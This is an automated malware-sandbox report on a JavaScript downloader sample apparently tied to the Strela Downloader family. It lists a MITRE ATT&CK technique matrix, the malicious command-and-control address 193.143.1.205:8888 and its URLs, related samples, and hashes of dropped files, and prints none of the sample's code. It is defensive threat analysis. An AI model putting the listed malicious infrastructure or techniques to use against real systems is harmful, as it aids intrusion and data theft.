Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
867419171264419639.js	0%	ReversingLabs
867419171264419639.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/W	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.41	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2218730139.00000116B6DB0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3422423732.00000116B7000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/W	net.exe, 00000007.00000002.2208719471.000001A889D7D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2208719471.000001A889D48000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2208719471.000001A889D48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2208719471.000001A889D9D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2208719471.000001A889D7D000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587930
Start date and time:	2025-01-10 19:31:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	867419171264419639.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 23.209.209.135, 199.232.214.172, 2.23.242.162, 2.16.168.105, 2.16.168.125, 2.16.168.107, 2.16.168.103, 13.107.246.45, 54.224.241.105, 172.202.163.200, 23.203.104.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:32:48	API Interceptor	22x Sleep call for process: powershell.exe modified
13:32:52	API Interceptor	1x Sleep call for process: net.exe modified
13:32:53	API Interceptor	2x Sleep call for process: svchost.exe modified
13:33:00	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.25
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	Ej86aa7Ki7.exe	Get hash	malicious	Unknown	Browse	84.201.210.38
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.26
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.34
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.34
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
bg.microsoft.map.fastly.net	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	958713604204492412.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	74771923457277117.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263340504784167
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0h:9JZj5MiKNnNhoxu0
MD5:	7B68C4BBEB64303E086B52E9473F2B10
SHA1:	846FC0FEB67299D36D24492F63679B3FD74752EC
SHA-256:	6E879B3B60E1AE3C3263D9925005C5E16E4DAC6A05527B0BBE861A8E77DE652A
SHA-512:	C9C824CCB3F6BD5561B09C22AF90C75B880A3997ABCD173283AC4A58A42C1496E85DFCFA139B63E3D19FD85FFCCF29F9A7FD0750D2B99E3EE59C764CD9B811CA
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xb646bce0, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555578599059317
Encrypted:	false
SSDEEP:	1536:tSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:tazaSvGJzYj2UlmOlOL
MD5:	C9EB200980BA4C705939C14421244999
SHA1:	754C5680454BC95266ECB348F7BE2441F788D39A
SHA-256:	9B92E5C569F9E476D1E5C24054275287EA45A4BF9FA91E7E6D6CC036EB2C7F98
SHA-512:	AFCF10C998AEA6542E5B0DB897E3E8840EE53C300B46ABA8515164D82953578EAC7F159187ABFA2BFEDC1DEA8BBB763801BD82141E509ACEBD995CB3935A40C7
Malicious:	false
Preview:	.F..... .......7.......X\...;...{......................0.e......!...{?.5 ...}G.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{......................................5 ...}e.................uo..5 ...}G..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07947483911614
Encrypted:	false
SSDEEP:	3:0iAl/lEYenNvE3KqfNaAPaU1lHdrl//alluxmO+l/SNxOf:0SznN2TNDPaU1x/GgmOH
MD5:	721DB23AA36DE1E7CE8418BB48B43611
SHA1:	8FA1F54041727F2CC3C99C53E1A0DE705A67007B
SHA-256:	6BB711931C48EFEED5DC321BFC89C43FF2C43E5F2DADFDC13E78FC3A15154189
SHA-512:	E6059E6CCAB02B0A8643F4EF5D2B372F89CB8265BBC342259772D4B26138EFD718ED6FE520970E30F4E389BF12FC8F76F9754C2A691660A3672AD735967C9E04
Malicious:	false
Preview:	........................................;...{..5 ...}G..!...{?..........!...{?..!...{?..g...!...{?.................uo..5 ...}G.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.181494057364856
Encrypted:	false
SSDEEP:	6:iO46IN+q2PN72nKuAl9OmbnIFUtSukmWZmwsukNVkwON72nKuAl9OmbjLJ:7cN+vVaHAahFUtTkZ/5kNV5OaHAaSJ
MD5:	F76D2D6CEAA13FC8292389E1C0F237DB
SHA1:	01B9A94FA8DE6E26A0E5B883C78C5D40FFFB7069
SHA-256:	E515A733DEB3163B460C6CD6CD148FE6ABF70B1E7E6406959E54E95FF11D3E9D
SHA-512:	CB12DADC120091682BEC60A85C324328A7F2876F5C4FF50263CF90F25C81A6F806141A1CF152D602CEF6B43458E714D50371382D24663592C5284153026C1CAE
Malicious:	false
Preview:	2025/01/10-13:32:53.484 160c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:32:53.486 160c Recovering log #3.2025/01/10-13:32:53.486 160c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.181494057364856
Encrypted:	false
SSDEEP:	6:iO46IN+q2PN72nKuAl9OmbnIFUtSukmWZmwsukNVkwON72nKuAl9OmbjLJ:7cN+vVaHAahFUtTkZ/5kNV5OaHAaSJ
MD5:	F76D2D6CEAA13FC8292389E1C0F237DB
SHA1:	01B9A94FA8DE6E26A0E5B883C78C5D40FFFB7069
SHA-256:	E515A733DEB3163B460C6CD6CD148FE6ABF70B1E7E6406959E54E95FF11D3E9D
SHA-512:	CB12DADC120091682BEC60A85C324328A7F2876F5C4FF50263CF90F25C81A6F806141A1CF152D602CEF6B43458E714D50371382D24663592C5284153026C1CAE
Malicious:	false
Preview:	2025/01/10-13:32:53.484 160c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:32:53.486 160c Recovering log #3.2025/01/10-13:32:53.486 160c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.171577858418394
Encrypted:	false
SSDEEP:	6:iO4Ob4q2PN72nKuAl9Ombzo2jMGIFUtSdNJZmwsMDkwON72nKuAl9Ombzo2jMmLJ:71b4vVaHAa8uFUtkNJ/7D5OaHAa8RJ
MD5:	D9ABC1AFFFF301A8E8855D0A9FA44066
SHA1:	0775E5E5BC44AAB01329149399EDD0FE16D62B14
SHA-256:	A68EC58617E0AC2769851130D15C41196BF786FFBDEACAA0ABDB1F7D3DB02A2C
SHA-512:	EC2FF3785C008329A0F5DFE6ED01B9334C872F633D7F275F504A83DC03CDA76986D75D804F16445126DFFB5E31238EC5D2CE73548929EDE5C7CA6E81D04C3042
Malicious:	false
Preview:	2025/01/10-13:32:53.507 1624 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:32:53.508 1624 Recovering log #3.2025/01/10-13:32:53.509 1624 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.171577858418394
Encrypted:	false
SSDEEP:	6:iO4Ob4q2PN72nKuAl9Ombzo2jMGIFUtSdNJZmwsMDkwON72nKuAl9Ombzo2jMmLJ:71b4vVaHAa8uFUtkNJ/7D5OaHAa8RJ
MD5:	D9ABC1AFFFF301A8E8855D0A9FA44066
SHA1:	0775E5E5BC44AAB01329149399EDD0FE16D62B14
SHA-256:	A68EC58617E0AC2769851130D15C41196BF786FFBDEACAA0ABDB1F7D3DB02A2C
SHA-512:	EC2FF3785C008329A0F5DFE6ED01B9334C872F633D7F275F504A83DC03CDA76986D75D804F16445126DFFB5E31238EC5D2CE73548929EDE5C7CA6E81D04C3042
Malicious:	false
Preview:	2025/01/10-13:32:53.507 1624 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:32:53.508 1624 Recovering log #3.2025/01/10-13:32:53.509 1624 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9516cb07-e758-4a3e-add0-95271fad5db9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9623864171066066
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqQ+hsBdOg2HUcaq3QYiubcP7E4T3y:Y2sRdsz+ydMHH3QYhbA7nby
MD5:	BA98A2A350436A84324B3E80EC2195BC
SHA1:	2FC17EFA45697AD565FD5043913A4A4128C14D72
SHA-256:	413C8AC996C33E741EBA40EA318935E6C91AD04187D10FCECA3D2DDCE49F6904
SHA-512:	DAE904BA49E366724E0BA386D089F6EEE19871A81E5A4E35FF218CBD8030018934334083D87B4E6BD29E1421A6E6EF3F524338395611D3F2C73FD4326A3AF422
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381093984119986","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128782},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9623864171066066
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqQ+hsBdOg2HUcaq3QYiubcP7E4T3y:Y2sRdsz+ydMHH3QYhbA7nby
MD5:	BA98A2A350436A84324B3E80EC2195BC
SHA1:	2FC17EFA45697AD565FD5043913A4A4128C14D72
SHA-256:	413C8AC996C33E741EBA40EA318935E6C91AD04187D10FCECA3D2DDCE49F6904
SHA-512:	DAE904BA49E366724E0BA386D089F6EEE19871A81E5A4E35FF218CBD8030018934334083D87B4E6BD29E1421A6E6EF3F524338395611D3F2C73FD4326A3AF422
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381093984119986","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128782},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.2520830170346455
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7bIWU:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhc
MD5:	F4639DCD3FB0B6730AC6D8748BE96F3D
SHA1:	231BFE3E24E092F4D6F6729EC40A255C05FEC826
SHA-256:	9C2F1ECBD197EEDAC8938D2B5D7AD3CC1D1019BF060AA44197FDFB46A35C6297
SHA-512:	E72267194E6B26E8C19A2059F3E06386DAA700ACD235236983A0B80757D278118A25107C0B7F028ED80BA8F9A8927676F3C641C9E1627D6B2C41CE68E65BDADF
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.174927893200299
Encrypted:	false
SSDEEP:	6:iO494q2PN72nKuAl9OmbzNMxIFUtSLmNJZmwsLPDkwON72nKuAl9OmbzNMFLJ:7a4vVaHAa8jFUt3NJ/uPD5OaHAa84J
MD5:	620889786A7ED43FB42DF9C80EB8EC48
SHA1:	D3C51BFC3CA24F4D0D7DCC94A776C12D22BECAFC
SHA-256:	5EC5695349B5DCB09C80BE57B71133059B23F8F887A84719F1DF69E7ABBE5A35
SHA-512:	A6CE563553DB4E67578063418152F2A79D5A5756207DA01507F86A1B61B71E283B9436008186CD10967375881B3C55F19BE2FB2806790AB3042E72B7A67771BE
Malicious:	false
Preview:	2025/01/10-13:32:53.843 1624 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:32:53.844 1624 Recovering log #3.2025/01/10-13:32:53.845 1624 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.174927893200299
Encrypted:	false
SSDEEP:	6:iO494q2PN72nKuAl9OmbzNMxIFUtSLmNJZmwsLPDkwON72nKuAl9OmbzNMFLJ:7a4vVaHAa8jFUt3NJ/uPD5OaHAa84J
MD5:	620889786A7ED43FB42DF9C80EB8EC48
SHA1:	D3C51BFC3CA24F4D0D7DCC94A776C12D22BECAFC
SHA-256:	5EC5695349B5DCB09C80BE57B71133059B23F8F887A84719F1DF69E7ABBE5A35
SHA-512:	A6CE563553DB4E67578063418152F2A79D5A5756207DA01507F86A1B61B71E283B9436008186CD10967375881B3C55F19BE2FB2806790AB3042E72B7A67771BE
Malicious:	false
Preview:	2025/01/10-13:32:53.843 1624 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:32:53.844 1624 Recovering log #3.2025/01/10-13:32:53.845 1624 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444684287367493
Encrypted:	false
SSDEEP:	384:ye6ci5tZiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:m6s3OazzU89UTTgUL
MD5:	2B54054F74844DFDA6307278320569DC
SHA1:	F948E14F1AD8C95216AED89BF6136AD138FEED58
SHA-256:	5C8B12EA031E53F544D2E91A56623ED5842F6FEE365CCB5DA85B0B7285D15A91
SHA-512:	F5799F15560F97A69F2BCB97705D7D3A13FD36240E4C02267F4D0C3E45ADD05C28B87D38EE69AA6E6D577DF90012663BA4D0F33C4EDEF772FD3BE9164E0D4FF5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7700777281661706
Encrypted:	false
SSDEEP:	48:7MgJioyV6ioyEoy1C7oy16oy1sKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1Oo:77Ju6gHXjBivb9IVXEBodRBkz
MD5:	FB3F968277959E53669352BF5255ECE8
SHA1:	CE3FA5CA14192449C30CB879D432910F7EAA87E7
SHA-256:	3063FA21ED96D85B5FFB7E4B1E13DE3EC37EE20CDF175F290767C75DEA78479F
SHA-512:	C8D7A0915C68D53000F0E0C06917479F1FCEA9AD0AD09317B1BCFF1E3C98726E540F769BB59DA86BBA1BD9B2B4A3988C15A0C463EE98094654205FF10B34162F
Malicious:	false
Preview:	.... .c.....~.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
